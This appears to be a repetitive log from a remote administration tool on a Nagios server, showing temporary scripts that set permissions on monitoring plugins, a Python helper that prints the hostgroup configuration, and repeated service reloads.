chmod 755 '/usr/local/nagios/libexec/check_php.php'
echo ok


2025-10-18 12:29:47: 

chmod 755 /tmp/pkp913647; /tmp/pkp913647; rm /tmp/pkp913647

2025-10-18 12:29:47: 


ok


2025-10-18 12:29:47: 

PUT: /tmp/pkp418840

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_file_exists'
echo ok


2025-10-18 12:29:47: 

chmod 755 /tmp/pkp418840; /tmp/pkp418840; rm /tmp/pkp418840

2025-10-18 12:29:47: 


ok


2025-10-18 12:30:31: Establishing a connection
2025-10-18 12:30:31: Establishing a connection
2025-10-18 12:30:32: 

PUT: /tmp/pkp358330

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-18 12:30:32: 

chmod 755 /tmp/pkp358330; /tmp/pkp358330; rm /tmp/pkp358330

2025-10-18 12:30:32: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg	629
# CUSTOMIZED

###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################

# Define an optional hostgroup for Linux machines

define hostgroup {

    hostgroup_name          linux-servers           ; The name of the hostgroup
    alias                   Linux Servers           ; Long name of the group
      ; Comma separated list of hosts that belong to this group
  members  localhost, server_51, server_53, server_44, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}






2025-10-18 12:30:32: 

systemctl reload nagios

2025-10-18 12:30:32: 




2025-10-18 12:30:32: 

PUT: /tmp/pkp547202

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2025-10-18 12:30:32: 

chmod 755 /tmp/pkp547202; /tmp/pkp547202; rm /tmp/pkp547202

2025-10-18 12:30:32: 


ok


2025-10-18 12:30:32: 

PUT: /tmp/pkp466679

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_php.php'
echo ok


2025-10-18 12:30:32: 

chmod 755 /tmp/pkp466679; /tmp/pkp466679; rm /tmp/pkp466679

2025-10-18 12:30:32: 


ok


2025-10-18 12:30:32: 

PUT: /tmp/pkp684189

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_debian_packages'
echo ok


2025-10-18 12:30:32: 

chmod 755 /tmp/pkp684189; /tmp/pkp684189; rm /tmp/pkp684189

2025-10-18 12:30:32: 


ok


2025-10-18 12:30:32: 

PUT: /tmp/pkp966063

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2025-10-18 12:30:32: 

chmod 755 /tmp/pkp966063; /tmp/pkp966063; rm /tmp/pkp966063

2025-10-18 12:30:32: 


ok


2025-10-18 12:30:32: 

PUT: /tmp/pkp538219

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_ssl_cert.php'
echo ok


2025-10-18 12:30:32: 

chmod 755 /tmp/pkp538219; /tmp/pkp538219; rm /tmp/pkp538219

2025-10-18 12:30:32: 


ok


2025-10-18 12:30:32: 

PUT: /tmp/pkp528096

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_file_exists'
echo ok


2025-10-18 12:30:32: 

chmod 755 /tmp/pkp528096; /tmp/pkp528096; rm /tmp/pkp528096

2025-10-18 12:30:32: 


ok


2025-10-18 12:30:33: 

PUT: /tmp/pkp425106

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2025-10-18 12:30:33: 

chmod 755 /tmp/pkp425106; /tmp/pkp425106; rm /tmp/pkp425106

2025-10-18 12:30:33: 


ok


2025-10-18 12:30:33: 

PUT: /tmp/pkp863022

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_autoupdate.php'
echo ok


2025-10-18 12:30:33: 

chmod 755 /tmp/pkp863022; /tmp/pkp863022; rm /tmp/pkp863022

2025-10-18 12:30:33: 


ok


2025-10-18 12:30:33: 

PUT: /tmp/pkp454389

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_service'
echo ok


2025-10-18 12:30:33: 

chmod 755 /tmp/pkp454389; /tmp/pkp454389; rm /tmp/pkp454389

2025-10-18 12:30:33: 


ok


2025-10-18 12:30:51: Establishing a connection
2025-10-18 12:30:52: Establishing a connection
2025-10-18 12:30:53: 

PUT: /tmp/pkp604400

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-18 12:30:53: 

chmod 755 /tmp/pkp604400; /tmp/pkp604400; rm /tmp/pkp604400

2025-10-18 12:30:53: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg	629
# CUSTOMIZED

###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################

# Define an optional hostgroup for Linux machines

define hostgroup {

    hostgroup_name          linux-servers           ; The name of the hostgroup
    alias                   Linux Servers           ; Long name of the group
      ; Comma separated list of hosts that belong to this group
  members  localhost, server_51, server_53, server_44, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}






2025-10-18 12:30:53: 

systemctl reload nagios

2025-10-18 12:30:53: 




2025-10-18 12:30:54: 

PUT: /tmp/pkp394696

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2025-10-18 12:30:55: 

chmod 755 /tmp/pkp394696; /tmp/pkp394696; rm /tmp/pkp394696

2025-10-18 12:30:55: 


ok


2025-10-18 12:30:55: 

PUT: /tmp/pkp697353

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_ssl_cert.php'
echo ok


2025-10-18 12:30:56: 

chmod 755 /tmp/pkp697353; /tmp/pkp697353; rm /tmp/pkp697353

2025-10-18 12:30:56: 


ok


2025-10-18 12:30:56: 

PUT: /tmp/pkp721745

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_service'
echo ok


2025-10-18 12:30:57: 

chmod 755 /tmp/pkp721745; /tmp/pkp721745; rm /tmp/pkp721745

2025-10-18 12:30:57: 


ok


2025-10-18 12:30:58: 

PUT: /tmp/pkp909462

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2025-10-18 12:30:58: 

chmod 755 /tmp/pkp909462; /tmp/pkp909462; rm /tmp/pkp909462

2025-10-18 12:30:58: 


ok


2025-10-18 12:30:59: 

PUT: /tmp/pkp361334

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_php.php'
echo ok


2025-10-18 12:30:59: 

chmod 755 /tmp/pkp361334; /tmp/pkp361334; rm /tmp/pkp361334

2025-10-18 12:31:00: 


ok


2025-10-18 12:31:00: 

PUT: /tmp/pkp595864

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_debian_packages'
echo ok


2025-10-18 12:31:01: 

chmod 755 /tmp/pkp595864; /tmp/pkp595864; rm /tmp/pkp595864

2025-10-18 12:31:01: 


ok


2025-10-18 12:31:02: 

PUT: /tmp/pkp470956

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_file_exists'
echo ok


2025-10-18 12:31:02: 

chmod 755 /tmp/pkp470956; /tmp/pkp470956; rm /tmp/pkp470956

2025-10-18 12:31:02: 


ok


2025-10-18 12:31:03: 

PUT: /tmp/pkp559050

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2025-10-18 12:31:03: 

chmod 755 /tmp/pkp559050; /tmp/pkp559050; rm /tmp/pkp559050

2025-10-18 12:31:04: 


ok


2025-10-18 12:31:04: 

PUT: /tmp/pkp277846

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_autoupdate.php'
echo ok


2025-10-18 12:31:05: 

chmod 755 /tmp/pkp277846; /tmp/pkp277846; rm /tmp/pkp277846

2025-10-18 12:31:05: 


ok


2025-10-18 12:32:03: Establishing a connection
2025-10-18 12:32:03: Establishing a connection
2025-10-18 12:32:03: 

PUT: /tmp/pkp114877

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-18 12:32:03: 

chmod 755 /tmp/pkp114877; /tmp/pkp114877; rm /tmp/pkp114877

2025-10-18 12:32:03: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg	629
# CUSTOMIZED

###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################

# Define an optional hostgroup for Linux machines

define hostgroup {

    hostgroup_name          linux-servers           ; The name of the hostgroup
    alias                   Linux Servers           ; Long name of the group
      ; Comma separated list of hosts that belong to this group
  members  localhost, server_51, server_53, server_44, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}






2025-10-18 12:32:03: 

systemctl reload nagios

2025-10-18 12:32:03: 




2025-10-18 12:32:03: 

PUT: /tmp/pkp434543

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2025-10-18 12:32:03: 

chmod 755 /tmp/pkp434543; /tmp/pkp434543; rm /tmp/pkp434543

2025-10-18 12:32:04: 


ok


2025-10-18 12:32:04: 

PUT: /tmp/pkp694389

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_ssl_cert.php'
echo ok


2025-10-18 12:32:04: 

chmod 755 /tmp/pkp694389; /tmp/pkp694389; rm /tmp/pkp694389

2025-10-18 12:32:04: 


ok


2025-10-18 12:32:04: 

PUT: /tmp/pkp157649

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_debian_packages'
echo ok


2025-10-18 12:32:04: 

chmod 755 /tmp/pkp157649; /tmp/pkp157649; rm /tmp/pkp157649

2025-10-18 12:32:04: 


ok


2025-10-18 12:32:04: 

PUT: /tmp/pkp749160

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2025-10-18 12:32:04: 

chmod 755 /tmp/pkp749160; /tmp/pkp749160; rm /tmp/pkp749160

2025-10-18 12:32:04: 


ok


2025-10-18 12:32:04: 

PUT: /tmp/pkp291060

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_php.php'
echo ok


2025-10-18 12:32:04: 

chmod 755 /tmp/pkp291060; /tmp/pkp291060; rm /tmp/pkp291060

2025-10-18 12:32:04: 


ok


2025-10-18 12:32:04: 

PUT: /tmp/pkp247736

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_file_exists'
echo ok


2025-10-18 12:32:04: 

chmod 755 /tmp/pkp247736; /tmp/pkp247736; rm /tmp/pkp247736

2025-10-18 12:32:04: 


ok


2025-10-18 12:32:04: 

PUT: /tmp/pkp376609

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_service'
echo ok


2025-10-18 12:32:04: 

chmod 755 /tmp/pkp376609; /tmp/pkp376609; rm /tmp/pkp376609

2025-10-18 12:32:04: 


ok


2025-10-18 12:32:15: Establishing a connection
2025-10-18 12:32:16: Establishing a connection
2025-10-18 12:32:16: 

PUT: /tmp/pkp139967

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-18 12:32:16: 

chmod 755 /tmp/pkp139967; /tmp/pkp139967; rm /tmp/pkp139967

2025-10-18 12:32:16: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg	629
# CUSTOMIZED

###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################

# Define an optional hostgroup for Linux machines

define hostgroup {

    hostgroup_name          linux-servers           ; The name of the hostgroup
    alias                   Linux Servers           ; Long name of the group
      ; Comma separated list of hosts that belong to this group
  members  localhost, server_51, server_53, server_44, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}






2025-10-18 12:32:16: 

systemctl reload nagios

2025-10-18 12:32:16: 




2025-10-18 12:32:18: 

PUT: /tmp/pkp879251

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_service'
echo ok


2025-10-18 12:32:18: 

chmod 755 /tmp/pkp879251; /tmp/pkp879251; rm /tmp/pkp879251

2025-10-18 12:32:18: 


ok


2025-10-18 12:32:19: 

PUT: /tmp/pkp371621

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_debian_packages'
echo ok


2025-10-18 12:32:19: 

chmod 755 /tmp/pkp371621; /tmp/pkp371621; rm /tmp/pkp371621

2025-10-18 12:32:19: 


ok


2025-10-18 12:32:20: 

PUT: /tmp/pkp349711

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2025-10-18 12:32:20: 

chmod 755 /tmp/pkp349711; /tmp/pkp349711; rm /tmp/pkp349711

2025-10-18 12:32:20: 


ok


2025-10-18 12:32:21: 

PUT: /tmp/pkp523962

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_ssl_cert.php'
echo ok


2025-10-18 12:32:21: 

chmod 755 /tmp/pkp523962; /tmp/pkp523962; rm /tmp/pkp523962

2025-10-18 12:32:21: 


ok


2025-10-18 12:32:22: 

PUT: /tmp/pkp672163

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_file_exists'
echo ok


2025-10-18 12:32:22: 

chmod 755 /tmp/pkp672163; /tmp/pkp672163; rm /tmp/pkp672163

2025-10-18 12:32:23: 


ok


2025-10-18 12:32:34: Establishing a connection
2025-10-18 12:32:35: Establishing a connection
2025-10-18 12:32:35: 

PUT: /tmp/pkp171014

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-18 12:32:35: 

chmod 755 /tmp/pkp171014; /tmp/pkp171014; rm /tmp/pkp171014

2025-10-18 12:32:35: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg	629
# CUSTOMIZED

###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################

# Define an optional hostgroup for Linux machines

define hostgroup {

    hostgroup_name          linux-servers           ; The name of the hostgroup
    alias                   Linux Servers           ; Long name of the group
      ; Comma separated list of hosts that belong to this group
  members  localhost, server_51, server_53, server_44, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}






2025-10-18 12:32:35: 

systemctl reload nagios

2025-10-18 12:32:35: 




2025-10-18 12:32:36: 

PUT: /tmp/pkp729352

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2025-10-18 12:32:37: 

chmod 755 /tmp/pkp729352; /tmp/pkp729352; rm /tmp/pkp729352

2025-10-18 12:32:37: 


ok


2025-10-18 12:32:38: 

PUT: /tmp/pkp443146

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_ssl_cert.php'
echo ok


2025-10-18 12:32:38: 

chmod 755 /tmp/pkp443146; /tmp/pkp443146; rm /tmp/pkp443146

2025-10-18 12:32:38: 


ok


2025-10-18 12:32:39: 

PUT: /tmp/pkp212018

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_service'
echo ok


2025-10-18 12:32:39: 

chmod 755 /tmp/pkp212018; /tmp/pkp212018; rm /tmp/pkp212018

2025-10-18 12:32:39: 


ok


2025-10-18 12:32:40: 

PUT: /tmp/pkp274158

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2025-10-18 12:32:40: 

chmod 755 /tmp/pkp274158; /tmp/pkp274158; rm /tmp/pkp274158

2025-10-18 12:32:40: 


ok


2025-10-18 12:32:41: 

PUT: /tmp/pkp150267

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_php.php'
echo ok


2025-10-18 12:32:41: 

chmod 755 /tmp/pkp150267; /tmp/pkp150267; rm /tmp/pkp150267

2025-10-18 12:32:41: 


ok


2025-10-18 12:34:42: Establishing a connection
2025-10-18 12:34:43: Establishing a connection
2025-10-18 12:34:43: 

PUT: /tmp/pkp823232

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-18 12:34:43: 

chmod 755 /tmp/pkp823232; /tmp/pkp823232; rm /tmp/pkp823232

2025-10-18 12:34:43: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg	629
# CUSTOMIZED

###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################

# Define an optional hostgroup for Linux machines

define hostgroup {

    hostgroup_name          linux-servers           ; The name of the hostgroup
    alias                   Linux Servers           ; Long name of the group
      ; Comma separated list of hosts that belong to this group
  members  localhost, server_51, server_53, server_44, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}






2025-10-18 12:34:43: 

systemctl reload nagios

2025-10-18 12:34:43: 




2025-10-18 12:34:44: 

PUT: /tmp/pkp863386

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_debian_packages'
echo ok


2025-10-18 12:34:45: 

chmod 755 /tmp/pkp863386; /tmp/pkp863386; rm /tmp/pkp863386

2025-10-18 12:34:45: 


ok


2025-10-18 12:34:45: 

PUT: /tmp/pkp242467

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2025-10-18 12:34:45: 

chmod 755 /tmp/pkp242467; /tmp/pkp242467; rm /tmp/pkp242467

2025-10-18 12:34:46: 


ok


2025-10-18 12:34:46: 

PUT: /tmp/pkp560460

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_sensors.php'
echo ok


2025-10-18 12:34:46: 

chmod 755 /tmp/pkp560460; /tmp/pkp560460; rm /tmp/pkp560460

2025-10-18 12:34:46: 


ok


2025-10-18 12:34:47: 

PUT: /tmp/pkp364109

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2025-10-18 12:34:47: 

chmod 755 /tmp/pkp364109; /tmp/pkp364109; rm /tmp/pkp364109

2025-10-18 12:34:47: 


ok


2025-10-18 12:34:48: 

PUT: /tmp/pkp572967

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_snmp.php'
echo ok


2025-10-18 12:34:48: 

chmod 755 /tmp/pkp572967; /tmp/pkp572967; rm /tmp/pkp572967

2025-10-18 12:34:48: 


ok


2025-10-18 12:34:48: 

PUT: /tmp/pkp916205

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_printer.php'
echo ok


2025-10-18 12:34:49: 

chmod 755 /tmp/pkp916205; /tmp/pkp916205; rm /tmp/pkp916205

2025-10-18 12:34:49: 


ok


2025-10-18 12:34:49: 

PUT: /tmp/pkp751589

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2025-10-18 12:34:49: 

chmod 755 /tmp/pkp751589; /tmp/pkp751589; rm /tmp/pkp751589

2025-10-18 12:34:50: 


ok


2025-10-18 12:34:50: 

PUT: /tmp/pkp247168

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_ssl_cert.php'
echo ok


2025-10-18 12:34:50: 

chmod 755 /tmp/pkp247168; /tmp/pkp247168; rm /tmp/pkp247168

2025-10-18 12:34:51: 


ok


2025-10-18 12:34:51: 

PUT: /tmp/pkp747421

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2025-10-18 12:34:51: 

chmod 755 /tmp/pkp747421; /tmp/pkp747421; rm /tmp/pkp747421

2025-10-18 12:34:52: 


ok


2025-10-18 12:34:52: 

PUT: /tmp/pkp232405

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_php.php'
echo ok


2025-10-18 12:34:52: 

chmod 755 /tmp/pkp232405; /tmp/pkp232405; rm /tmp/pkp232405

2025-10-18 12:34:53: 


ok


2025-10-18 12:34:53: 

PUT: /tmp/pkp255472

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2025-10-18 12:34:54: 

chmod 755 /tmp/pkp255472; /tmp/pkp255472; rm /tmp/pkp255472

2025-10-18 12:34:54: 


ok


2025-10-18 12:34:54: 

PUT: /tmp/pkp748069

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_autoupdate.php'
echo ok


2025-10-18 12:34:54: 

chmod 755 /tmp/pkp748069; /tmp/pkp748069; rm /tmp/pkp748069

2025-10-18 12:34:55: 


ok


2025-10-18 12:34:55: 

PUT: /tmp/pkp771783

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_file_exists'
echo ok


2025-10-18 12:34:55: 

chmod 755 /tmp/pkp771783; /tmp/pkp771783; rm /tmp/pkp771783

2025-10-18 12:34:56: 


ok


2025-10-18 12:35:22: Establishing a connection
2025-10-18 12:35:23: Establishing a connection
2025-10-18 12:35:24: 

PUT: /tmp/pkp768252

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-18 12:35:24: 

chmod 755 /tmp/pkp768252; /tmp/pkp768252; rm /tmp/pkp768252

2025-10-18 12:35:24: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg	629
# CUSTOMIZED

###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################

# Define an optional hostgroup for Linux machines

define hostgroup {

    hostgroup_name          linux-servers           ; The name of the hostgroup
    alias                   Linux Servers           ; Long name of the group
      ; Comma separated list of hosts that belong to this group
  members  localhost, server_51, server_53, server_44, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}






2025-10-18 12:35:24: 

systemctl reload nagios

2025-10-18 12:35:24: 




2025-10-18 12:35:25: 

PUT: /tmp/pkp984351

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2025-10-18 12:35:25: 

chmod 755 /tmp/pkp984351; /tmp/pkp984351; rm /tmp/pkp984351

2025-10-18 12:35:25: 


ok


2025-10-18 12:35:25: 

PUT: /tmp/pkp920778

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_toner.php'
echo ok


2025-10-18 12:35:26: 

chmod 755 /tmp/pkp920778; /tmp/pkp920778; rm /tmp/pkp920778

2025-10-18 12:35:26: 


ok


2025-10-18 12:35:26: 

PUT: /tmp/pkp722762

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_service'
echo ok


2025-10-18 12:35:27: 

chmod 755 /tmp/pkp722762; /tmp/pkp722762; rm /tmp/pkp722762

2025-10-18 12:35:27: 


ok


2025-10-18 12:35:27: 

PUT: /tmp/pkp783099

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_website'
echo ok


2025-10-18 12:35:28: 

chmod 755 /tmp/pkp783099; /tmp/pkp783099; rm /tmp/pkp783099

2025-10-18 12:35:28: 


ok


2025-10-18 12:35:28: 

PUT: /tmp/pkp163262

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_debian_packages'
echo ok


2025-10-18 12:35:29: 

chmod 755 /tmp/pkp163262; /tmp/pkp163262; rm /tmp/pkp163262

2025-10-18 12:35:29: 


ok


2025-10-18 12:35:29: 

PUT: /tmp/pkp259437

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2025-10-18 12:35:30: 

chmod 755 /tmp/pkp259437; /tmp/pkp259437; rm /tmp/pkp259437

2025-10-18 12:35:30: 


ok


2025-10-18 12:35:30: 

PUT: /tmp/pkp945316

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_sensors.php'
echo ok


2025-10-18 12:35:31: 

chmod 755 /tmp/pkp945316; /tmp/pkp945316; rm /tmp/pkp945316

2025-10-18 12:35:31: 


ok


2025-10-18 12:35:32: 

PUT: /tmp/pkp375946

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2025-10-18 12:35:32: 

chmod 755 /tmp/pkp375946; /tmp/pkp375946; rm /tmp/pkp375946

2025-10-18 12:35:32: 


ok


2025-10-18 12:35:33: 

PUT: /tmp/pkp881755

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_php.php'
echo ok


2025-10-18 12:35:33: 

chmod 755 /tmp/pkp881755; /tmp/pkp881755; rm /tmp/pkp881755

2025-10-18 12:35:33: 


ok


2025-10-18 12:35:34: 

PUT: /tmp/pkp873787

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2025-10-18 12:35:34: 

chmod 755 /tmp/pkp873787; /tmp/pkp873787; rm /tmp/pkp873787

